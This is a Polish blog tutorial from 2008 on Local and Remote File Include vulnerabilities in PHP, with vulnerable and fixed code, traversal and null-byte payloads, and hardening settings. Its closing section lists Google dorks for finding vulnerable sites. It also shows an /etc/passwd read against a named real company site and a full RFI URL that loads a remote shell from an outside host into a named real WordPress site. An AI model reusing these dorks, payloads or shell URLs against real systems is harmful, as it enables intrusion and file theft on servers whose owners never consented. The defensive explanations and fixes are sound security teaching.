Artykuły:

  • data publikacji: 20.10.2008

    Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)

    kategoria: Skrypty server-side autor: m1chu

    Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)

    Praktycznie każdy dynamicznie generowany system oparty o rozwiązania dostępne w celu tworzenia aplikacji internetowych działa na zestawie katalogów, a skrupulatniej pisząc także podkatalogów. Operowanie na nich, np. w celu wczytania danego języka czy plików szablonów poprzez użycie danych pochodzących od użytkownika może być przyczyną niemałego problemu. Local File Include, Remote File Include, czy Directory Traversal to fachowe nazwy błędów na które przez niedostateczne zabezpieczenie skryptu możemy być narażeni.

    Zarys teoretyczny...

    Obydwa typy ataków (zwane razem po prostu Include File Injection) są przykładami ogólnie rozumianego Code Injection, czyli wstrzykiwania niedozwolonego kodu. Prócz nich do grupy tego typu luk należą m.in. PHP/ASP Injection, SQL Injection, czy Shell Injection które dokładniej przedstawię w kolejnych artykułach o zabezpieczeniach.

    O czym zaraz będziecie mogli się przekonać, na pierwszy rzut oka ataki te są podobne do opisywanej już przeze mnie luki AFD, a wszystko przez fakt możliwości wykorzystania błędu poprzez specyficzne dane wprowadzane przez użytkownika. Ich stopień niebezpieczeństwa można wyrazić przez prosty fakt, że nie tylko zagrażają one danemu, podatnemu na nie serwisowi, ale także w niektórych przypadkach całemu serwerowi. Dzieje się tak z powodu możliwości załadowania dowolnego pliku na serwerze ofiary, bądź w zależności od konfiguracji serwera także pliku z serwerów zewnętrznych poprzez dziurawy skrypt.

    Przykładowe LFI na /etc/passwd

    Przyczyny tworzenia bugów...

    Obydwa błędy dotyczą funkcji PHP odpowiedzialnych za wczytywanie plików na stronie. Mowa tu np. o include(), include_once(), require(), require_once(), fopen() (a co za tym idzie także fread()), file(), czy file_get_contents().

    Dwa poniższe, teoretyczne przykłady zobrazują Wam jak prosto można stać się ofiarą własnej naiwności, niewiedzy.

    <?php
    $lang                                      = 'polish'; // domyslny jezyk/plik
    if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
    {
            $lang                              = $_COOKIE['language']; // nadpisanie $lang wartoscia ustawiona
    }
    else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
    {
            setcookie("language", "", time() - 3600); // usuniecie starego cookie
            setcookie("language", $_GET['set_lang'], time() + 3600); // wpisanie nowego jezyka do cookies
            $lang                              = $_GET['set_lang']; // nadpisanie $lang wartoscia
    }
    $array = file($lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
    ?>

    Kod ten domyślnie mógłby być przez jakiegoś laika używany do zapisywania w cookies języka użytkownika wraz z możliwością jego dynamicznej zmiany poprzez parametr tablicy GET skryptu. Niestety brak jakiegokolwiek filtrowania pozwala co lepiej kombinującemu użytkownikowi na manipulowanie i wartością parametru, i zawartością ciasteczka odpowiadającego za przetrzymywanie języka użytkownika.

    Przeanalizujmy metodykę działania tego pseudoskryptu:

    http://strona.pl/index.php?set_lang=polish // do odpowiedniego COOKIE zostanie zapisana wartość 'polish' po czym będzie wczytywany plik 'polish.txt'
    http://strona.pl/index.php?set_lang=english // podobnie jak powyżej (zakładając, że obydwa pliki istnieją na serwerze) z tymże zostanie wczytany plik 'english.txt', a zapisana zostanie wartość 'english'

    Niby wszystko ok. Co jednak, jeżeli dokonamy edycji ciasteczka, bądź zmienimy nasz parametr w sposób podobny do http://inna_strona.eu/exp.txt?? Wywołamy z zewnętrznego serwera skrypt o rozszerzeniu txt. Tak oto otrzymaliśmy prosty przykład RFI. Po co ten znak zapytania na końcu? W celu uznania za parametry wszystkiego co znalazłoby się za nim w naszym adresie po przepuszczeniu w danej funkcji PHP (działa to tylko w przypadku RFI i zależne jest od stosowanej funkcji operującej na pliku), a także w celu uruchomienia danego pliku na serwerze ofiary. W naszym przypadku wynikiem będzie:

    $array = file('http://inna_strona.eu/exp.txt?.txt'); // RFI na http://inna_strona.eu/exp.txt

    Drugi przypadek może symbolizować prosty system wczytywania podstron. Przykład może pozornie być uważany za bezpieczny z racji zastosowania switch. Niestety w wypadku jeżeli żaden z jego warunków nie zostanie spełniony w default może zostać wykonany praktycznie dowolny kod.

    <?php
    [...]
    switch ( $_GET['page'] )
    {
            case 'index': // gdy GET page == index
                    require 'index.php';
                    break;
            case 'about': // gdy GET page == about
                    require 'about.php';
                    break;
            default: // w pozostalych wypadkach zostanie wywolany plik errors/dowolny_ciag.php
                    require 'errors/' . $_GET['page'] . '.php';
                    break;
    }
    [...]
    ?>

    Podobnie jak w pierwszym przykładzie także tutaj możemy spreparować link, tym razem np. w taki sposób, aby uzyskać LFI.

    http://strona.pl/index.php?page=../hasla.txt

    Skorzystanie z takiego odnośnika spowoduje wywołanie pliku hasla.txt z głównego katalogu serwisu. Nie trzeba długo myśleć, że w taki sposób można mieć dostęp do każdego niezabezpieczonego pliku na serwerze w tym do będącego najczęstszym przykładem /etc/passwd.

    Directory Traversal (DA)?

    W powyższych przykładach nie wspomniałem nic o Path Disclosure, bo tak inaczej można nazwać Directory Traversal. Pozwala ono na otrzymanie dostępu do plików źródłowych lub ujawnienie innych zasobów znajdujących się na lokalnym serwerze. Manipulując żądaniami podobnie jak w przypadku Local File Include możemy otrzymać niepowołany dostęp do w.w. zasobów poprzez np. domyślne odwoływanie się do plików szablonów, czy podstron danego serwisu. To czyni z DA synonimiczny typ ataku do wspomnianego przed chwilą LFI.

    Poison Null Byte jako panaceum na ominięcie zintegrowanych rozszerzeń...

    Wspomniałem powyżej, że znak zapytania na końcu wywoływanego, spreparowanego kodu powoduje w niektórych przypadkach pozbycie się wbudowanego w skrypt rozszerzenia - o ile takowe istnieje. W praktyce działa to tylko w funkcjach sczytujących zawartości plików zewnętrznych, takich jak np. wspomniane file(args);. Nie zadziała to jednak już np. w przypadku integralnie wczytującego include(arg);.

    $a = file(ADRES . '?.php'); // ok - wywoła plik z rozszerzeniem przed ?, a .php potraktuje jako argument
    include(ADRES . '?.php'); // nie zadziała - .php będzie rozszerzeniem

    Nasuwają się więc od razu pytania jak sobie poradzić z tym problemem? Czy jest jakiś uniwersalny sposób na przełamanie tego niekiedy przypadkowego zabezpieczenia? Jest i nazywa się Poison Null Byte, czyli atak z użyciem bajtu zerowego. Inaczej mówiąc jest to zerowy metaznak w postaci jednej z dwóch następujących form: %00 lub %2500. Drugą z nich używa się w wypadku kiedy strona zabezpieczona jest przed pierwszą. Zamieniamy w nim po prostu % na jego szesnastkowy odpowiednik w kodzie ASCII, czyli %25. Po dodaniu takiego "pustego" znaku automatycznie przekazujemy do skryptu zakończenie danego ciągu (nakazujemy obcięcie reszty znaków), przez co wszystko co po nim występuje jest automatycznie ignorowane przez parser PHP.

    http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%00

    http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt%2500

    Należy pamiętać, że w PHP poniżej wersji 6.0 przy włączonym ustawieniu "magic_quotes_gpc = On" zostanie automatycznie przeprowadzona filtracja tego typu ataku. Sama luka wykorzystywana jest zawsze w połączeniu z tytularnymi bugami opisywanymi w tym artykule.

    Kiedy jesteśmy narażeni na włamanie?

    • kiedy "magic_quotes_gpc = Off" (php.ini) (brak filtracji bajtów zerowych z poziomu ustawień PHP), bądź kiedy nie używamy addslashes lub mysql_real_escape_string dla poleceń MySQL,
    • gdy dyrektywa "register_globals = On" (php.ini), z racji tworzenia z parametru tablic superglobalnych GET/POST/COOKIES zmiennej o nazwie tegoż argumentu. Przykład:
      http://strona.pl/index.php?page=http://inna_strona.eu/exp.txt

      Utworzy w skrypcie automatycznie zmienną o następującej wartości:

      $page = 'http://inna_strona.eu/exp.txt';
    • w momencie gdy "allow_url_fopen = On" (php.ini) i/lub "allow_url_include = On" (php.ini dla funkcji include(arg);, require(arg);, include_once(arg);, require_once(arg); PHP od wersji 5.2) które pozwalają na pobieranie w funkcjach operujących na plikach zasobów z zdalnych serwerów lub w momencie kiedy nie blokujemy takiej możliwości bezpośrednio z poziomu skryptu,
    • kiedy nie zachowujemy podstawowych zasad zachowania bezpieczeństwa w skrypcie w tym wypadku dotyczących ograniczenia korzystania z plików w danych katalogach, o danych rozszerzeniach opierając się o regułę ograniczonego zaufania.

    Zagrożenie ze strony modyfikacji kodowania adresu URL...

    Skupmy się na chwilę na samych parametrach skryptu, czyli na Query String'u. Analizując metody zabezpieczeń często zapomina się o filtracji zakodowanej formy adresu na której działanie część serwerów jest narażonych.

    Tak więc ../ dla przykładu w heksadecymalnym kodzie ASCII posiada odpowiednik w postaci ciągu %2e%2e%2f. Należy zabrać pod uwagę także mieszane formy poprzedniego wzorca, jak np. ..%2f, %2e%2e/, a także formy zgodne z UTF-8 - czyli dla przykładu ..%c0%af. Poniżej przedstawiam tabelę części znaków i ich szesnastkowych odpowiedników ASCII.

    Znaki ASCII URI

    Celem ogólnym tego paragrafu jest zaprezentowanie przeze mnie rzadkich, ale niekiedy możliwych do przeprowadzenia metod w.w. ataków za pomocą użycia procentowych, zakodowanych odpowiedników znaków. Uogólniając należy wyjść naprzeciw temu problemowi poprzez usystematyzowanie formy danych wejściowych na jednolite, najlepiej najbliższe ludzkiemu oku - czysto znakowe.

    Jak się zabezpieczyć?

    Na początek można odwrócić wartości dotyczące konfiguracji php.ini które podałem w paragrafie "Kiedy jesteśmy narażeni na włamanie?". Nie mniej jednak "allow_url_fopen = Off" może być niepowołane w przypadku skryptów docelowo korzystających z jakiegoś zewnętrznego zasobu (np. z danych jakiegoś trackera), a "magic_quotes_gpc = On" pomimo, że automatycznie przeprowadza pewien poziom filtrowania to nie jest przeze mnie zalecane z powodu kreowania w webdeveloperze złych nawyków. Reszta zmian jest jak najbardziej wskazana.

    Jeśli chodzi już o zabezpieczenia z poziomu skryptu to oprę się o dwa na początku artykułu wymienione przykłady.

    Na drugim z nich zaprezentuję sposób najbardziej banalny, gdyż ładujący dane za pomocą ID (oparty o wbudowaną listę plików, choć można to oczywiście zrobić na podstawie np. bazy danych).

    <?php
    function getPageName($page)
    {
            $files = array( // zbior dozwolonych plikow
                    'index', 'about', '404'
                    );
            $counted = count($files);
            // jezeli podany argument jest wiekszy niz 0 i mniejszy lub rowny liczbie dozwolonych plikow
            //        to zwroc nazwe pliku o tym ID
            // inaczej
            //        zwroc ostatni dozwolony plik jako blad
            return ( $page <= ( $counted ) && $page > 0 ? $files[($page-1)] : $files[($counted-1)] );
    }
    $page = getPageName((int)$_GET['page']); // rzutowanie na typ calkowity i wywolanie funkcji zwracajacej nazwe pliku po ID
    switch ( $page )
    {
            case '404': // wyjatek w wypadku bledu
                    require './errors/404.php';
                    break;
            default: // wczytanie przefiltrowanego pliku
                    require './' . $page . '.php';
                    break;
    }
    ?>

    Przykład banalny i za pewnie przydatny tylko w przypadku małych i prostych skryptów. Wypadałoby go zautomatyzować i na tym będzie się opierał pierwszy przerobiony z wyżej opisanych, niezabezpieczonych kodów.

    Oprzemy się tutaj na użyciu funkcji basename() (w celu wyodrębnienia nazwy pliku z całego ciągu), addslashes() (dodaj znaki unikowe), urldecode() (dla zakodowanych procentowych form znaków) oraz html_entity_decode() (aby pozbyć się encji). Przykład zabroni całkowicie pobierania z zewnętrznych serwerów. Jeśli jednak skrypt wymagałby tego to należy zabronić użytkownikowi podawania adresu do takowego pliku i po prostu umieścić jego adres na stałe w skrypcie. Ważnym jest też fakt, aby pamiętać, że jeśli ten zdalny plik nie leży na jednym z zarządzanych przez nas serwerów to musimy liczyć się z tym, iż jego zawartość może zmienić się na przeznaczoną do dokonania włamania. Bezwzględnie powinno się filtrować także zawartość takich plików!

    <?php
    $files_catalog                    = './'; // katalog z plikami
    $lang                                     = 'polish'; // domyslny jezyk/plik
    if ( isset($_COOKIE['language']) ) // gdy jezyk jest juz ustawiony w cookies
    {
            // nadpisanie $lang wartoscia ustawiona wraz z filtracja
            $lang                             = addslashes(basename(html_entity_decode(urldecode($_COOKIE['language']))));
    }
    else if ( isset($_GET['set_lang']) ) // gdy przekazujemy w parametrze nowy jezyk
    {
            // filtracja danych wejsciowych
            $lang                              = addslashes(basename(html_entity_decode(urldecode($_GET['set_lang']))));
            setcookie("language", "", time() - 3600); // usuniecie starego cookie
            setcookie("language", $lang, time() + 3600); // wpisanie nowego jezyka do cookies
    }
    if ( file_exists($files_catalog . $lang . '.txt') ) // wczytanie danych TYLKO gdy plik istnieje
    {
            $array = file($files_catalog . $lang . '.txt'); // wczytanie do tablicy pliku z jezykiem, domyslnie 'polish.txt'
    }
    ?>

    Bo człowiek najlepiej uczy się na przykładach...

    Szukać opisywanych błędów można w podobny sposób jak w temacie o Arbitrary File Download (w slangu tzw. dorki). Pomijając pisane do tego specjalnie skrypty/programy, za pomocą wyszukiwarki. Frazeologia także nie różni się tak bardzo. Opieramy po prostu wyszukiwanie na parametrach skryptu pod którymi może występować luka, takimi jak f=, file=, site=, page=, czy plik=.

    inurl: ".php?f="
    inurl: ".php?page="
    inurl: ".php?file="
    inurl: ".php?plik="
    inurl: ".php?site="

    inurl:.pl (".php?page=" OR ".php?plik=")

    Tak mogłyby wyglądać frazy wyszukiwania Google. W tym ostatnim wypadku zawężamy wyszukiwania do domen o rozszerzeniu .pl oraz wyszukujemy w nich jedną z dwóch podanych nazw parametrów plików php. Oczywiście nic nie stoi na przeszkodzie, aby przerobić to zapytanie na bliższe własnym potrzebą.

    Inny sposobem na wyszukiwanie tego typu błędów jest wpisywanie fraz związanych z ostrzeżeniami funkcji na których luka się opiera (takich jak require(), file(), czy inne wymienione w drugim paragrafie). Niestety jest to metoda zawodna, gdyż nie każda tego typu informacja zwracana w skrypcie jest wykładnikiem błędu i nie zawsze są one także indeksowane przez wyszukiwarki. Można je jednak niekiedy użyć z wcześniej wymienionym sposobem w celu zwiększenia prawdopodobieństwa, że wykryty przez nas domniemany błąd jest nim naprawdę.

    Warning: require()
    Warning: file()
    Warning: fopen()
    Warning: file_get_contents()

    Największe prawdopodobieństwo trafienia na podatny kod ostrzeżenie na stronie powinno wyglądać mniej więcej jak to (należy zwrócić uwagę na rozszerzenie otwieranego pliku oraz rodzaj funkcji wczytującej pliki):

    Warning: include() [function.include]: Failed opening '...php' for inclusion (include_path='.:/usr/share/pear') in /adres_wzgledny/index.php on line 13

    Path Disclosure App

    inurl:automotive.co.uk (".php?site=" OR ".php?file=" OR ".php?page=" OR ".php?f=")

    W taki oto sposób, po ciut przypadkowych poszukiwaniach otrzymałem przykład nieodpowiednio zabezpieczonego skryptu.

    http://www.riverside-automotive.co.uk/index.php?f=data_home&a=9

    Link z pierwszej strony wyników. Dla pewności sprawdziłem występowanie luki poprzez jeden z krążących po internecie programów do ich wykrywania (po czym przetestowałem ponownie napisanym przeze mnie skanerem - jest to wersja rozwojowa więc może mieć ciut błędów - wymaga minimum .NET Framework 2.0 - więcej w komentarzach). Rezultat pozytywny - "mission completed" :D

    http://anonymouse.org/cgi-bin/anon-www.cgi/http://www.riverside-automotive.co.uk/index.php?f=../../../../../../../../etc/passwd

    Pewnie niektórzy drapią się z Was po głowie, dlaczego ten punkt opisałem "po łebkach". Wszystko ze względu, że metodologia wykrywania tego typu bugów jest praktycznie taka sama jak w przypadku poprzednio opisywanej przeze mnie problematyki zabezpieczeń (wspomniane już dwukrotnie AFD).

    I na koniec przykładowy link działania zewnętrznego shella (skrypt wykonywany zdalnie - z innego serwera - przykładami są: r57.php, s72.php, czy c99.php) wobec RFI, już bez zbędnego opisu. Jak zwykle zaznaczam także, że wszelkie przykłady zamieszczone w tymże, a także w kolejnych artykułach są na zasadach edukacyjnych. Proszę nie wykorzystywać ich do jakiegokolwiek niszczenia prac autorów zamieszczonych tu stron!

    Podatna strona: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=
    Przykładowy shell: http://www.mykr.net/bbs/id.txt?
    // Shell wykorzystywany na utnij.eu
    Pełny adres: http://anonymouse.org/cgi-bin/anon-www.cgi/http://hilrockkor.josiniserver.dk/wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.mykr.net/bbs/id.txt?

    Jeśli ktoś chce zobaczyć konstrukcję shellów to zapraszam na utnij.eu, gdzie w statystykach skróconych ostatnio odnośników można znaleźć wiele tego typu skryptów, co jest wynikiem prób jakiś osobników shackowania tego serwisu. Jak na razie bezowocnych... na szczęście...

    copyright © 2008, m1chu

    udostępnione na licencji CC dla vivee.info i m1chu.eu

    Udostępnij ten artykuł:
    • Print
    • Digg
    • del.icio.us
    • Facebook
    • Mixx
    • Google Bookmarks
    • Gwar
    • RSS
    • Technorati
    • Twitter
    • Wykop

  • 5 Responses to “Jak zabezpieczyć skrypt PHP/MySQL? Część 2: luki Local File Include (LFI) i Remote File Include (RFI)”

    1. m1chu pisze:

      “Dodałem skaner błędów RFI/LFI z Null Byte napisany przeze mnie pod .NET-em (a co za tym idzie niezbędny jest minimum .NET Framework 2.0 zainstalowany w systemie).

      Program po jakimś czasie rozmyślania nad sposobem podejścia do problemu napisany został dzisiaj – na szybko. To taka druga wersja alpha.

      Atrybuty:
      - skanowanie linka w poszukiwaniu RFI/LFI z Poison Null Byte
      - posiada podstawowe zabezpieczenia przed wpisaniem niepoprawnych danych
      - pozwala na wprowadzenie adresu shella
      - pozwala na podanie (zakres 1 – 12) ilości wykonywanych pętli wzwyż w drzewie katalogów w poszukiwaniu LFI
      - daje możliwość użycia proxy w postaci hosta bądź IP (różnie to działa, przy słabych serwerach pośredniczących kończy się niekiedy np. timeoutem)
      - pozwala zapisać log wyników skanowania
      - można użyć dwóch języków interfejsu – polskiego i angielskiego (tu za pewnie też znajdzie się trochę błędów spowodowanych pośpiechem, będą poprawione… mam nadzieję ;])
      - itp.

      Jest też wiele rzeczy do poprawki (bo nie zawsze błędy są wykrywane, a i kod nie jest zbyt optymalny ;D), dlatego zaglądajcie tu regularnie i aktualizujcie. Mam nadzieję, że znajdę chwilę na… dopieszczenie :]

      Więcej informacji już niedługo pod pierwszym linkiem w tym komentarzu.”

      To tak cytując samego siebie ;]

    2. agressiva pisze:

      Widzę, że tematy phpowe są dość popularne i sporo osób znajduje nas pod “zabiezpieczenia php” :)

    3. m1chu pisze:

      Wiem, że to względnie ciężki temat, ale szkoda że ta popularność nie odzwierciedla się w liczbie komentarzy (chociażby tych z sugestiami na przyszłość) :]

    4. agressiva pisze:

      Widać jakie są piorytetowe zaintersowania czytelników.
      Może z czasem przybędzie nam widowni phpowej. Możesz sie do tego przyczynić bo ja niestety jestem debil w tym temacie. Zajmuję się tylko webdesignem i kodowaniem (CSS+xHTML i czasami jQuery).

    5. m1chu pisze:

      Oj tam debil od razu :( . Palmiak Ci powinien wytrząsnąć z głowy takie określenia w stosunku do siebie hihihi ;]. Laik po prostu. Tak jak ja jestem laikiem (chyba ciut za górnolotnie powiedziane w tym przypadku) w stosunku do obsługi PS’a. Chociaż tutaj głównym ograniczeniem jest moja znacznie ograniczona zdolność do “zabawy kolorami” :D

      A co do PHP – postaram się ten dział wraz z bazami danych trochę posunąć do przodu… choć pewnie trochę to potrwa :]

    Leave a Reply

Komentarze

Kategorie

Top 10

  • CMSy Artykuły dotyczące różnego rodzaju systemów zarządzania treścią CMS.
  • Flash Podstawowe informacje pomocne przy tworzeniu animacji w Adobe Flash.
  • Fotografia Samouczki dotyczące nie tylko robienia zdjęć ale też ich cyfrowej obróbki.
  • Grafika Ogólnie pojęta grafika komputerowa, od inspiracji, po tworzenie layoutów oraz mniejszych form graficznych.
  • Inne tutoriale wordpressowe Wszystkie inne zagadnienia dotyczące WordPressa.
  • Inspiracje Inspirujące materiały graficzne z dziedziny projektowania stron www, projektów DTP, digital painting, itp.
  • Obróbka zdjęć Techniki retuszu fotografii cyfrowych.
  • Rysunek Tworzenie rysowanych ilustracji w Adobe Photoshop.
  • Skóry do Wordpressa Darmowe oraz płatne – najlepsze skóry do WordPressa.
  • Skrypty client-side
  • Skrypty server-side
  • Tutoriale
  • Webdesign Tutoriale z zakresu projektowania stron www i grafiki użytkowej na rzecz internetu.
  • Wieczór z Open Source
  • Wordpress Ulubieniec naszej publiczności CMS WordPress: nowości, tricki, wtyczki, skóry i wszystko to co może przydać się przy korzystaniu z tego systemu.
  • Wtyczki do Wordpressa Recenzje oraz instrukcje najbardziej popularnych i najbardziej niezbędnych pluginów do WordPressa.
  • XHTML/CSS Ciekawostki z dziedziny kodowania stron www: XHTML, CSS, jQuery.

Najnowsze newsy

Wieczór z Open Source 2010

Jak co roku WSINF organizuje konferencję Wieczór z Open Source.
Chciałbym zaprosić was na tegoroczna konferencję Wieczór z Open Source 2010! Czytaj dalej

Grafart.org i WACOM zapraszają na konkursy!

Witam!

Myślę, że czas najwyższy nadmienić, że za niedługi czas zostanie zorganizowany pierwszy z trzech konkursów, w których główną nagrodą będą tablety firmy WACOM!
Za miejsca drugie oraz trzecie nagrodami będą kubki i koszulki firmy WACOM oraz magazyny graficzne PSD PHOTOSHOP oraz COMPUTERARTS.
Czytaj dalej

Zapraszamy na forum graficzne Graffika.pl

Każda osoba interesująca się grafiką komputerową ma czasami ochotę porozmawiać o swoich pracach, posłuchać rad, krytyki i pochwał innych osób. Idealnym miejscem na realizowanie takich potrzeb jest forum graficzne Graffika.pl.
Czytaj dalej

Polecane strony

  • No bookmarks avaliable.